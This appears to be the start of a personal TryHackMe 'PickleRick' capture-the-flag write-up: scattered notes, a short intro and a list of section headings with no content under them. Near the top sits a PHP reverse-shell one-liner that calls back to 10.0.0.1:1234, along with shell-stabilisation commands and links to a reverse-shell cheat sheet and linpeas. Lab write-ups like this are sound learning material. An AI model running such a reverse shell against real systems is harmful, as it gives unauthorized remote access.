!Finding The Flag File!

while read line; do echo $line; done < clue.txt

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

tty hell escape

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

Link: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Link: https://medium.com/@varunrajamirtharaj/stabilizing-a-shell-getting-a-fully-functional-tty-31232897f2f5

Link: https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

!PickleRickLogo!

PickleRick TryHackMe Walkthough

Try Hack Me Link: https://tryhackme.com/r/room/picklerick

Completed: 2025-03-10

*Formatting warning! If you are new and are following along I put things that need to be replaced with your information in such format. [replace me!] Anything within them needs to be replaced and the []'s do not get put in the command!*

Intro

Hello! This is my second writeup! Today I am going to be walking you through how I solved the PickleRick TryHackMe Room. If you want to get to knwo more about me, feel free to go to the About Me section of my main page! I am goign to give you a head up for thoes of you who notice my IP addresses keep changing thoughout my screen shots. That is because when I was solving this room I managed to crash the server muktiple times, snd each time you reeboot the room the IP address changes. So that is a learning lesson for you to learn off of my mistakes, when executing shells becarful, because shells are unpredictable and can sometimes crash the system they are being ran on.

Room

Enumerating

Exploitation

Finding The First Ingredient!

Privilage Escilation

Finding The Second Ingredient!

Finding The Third Ingredent!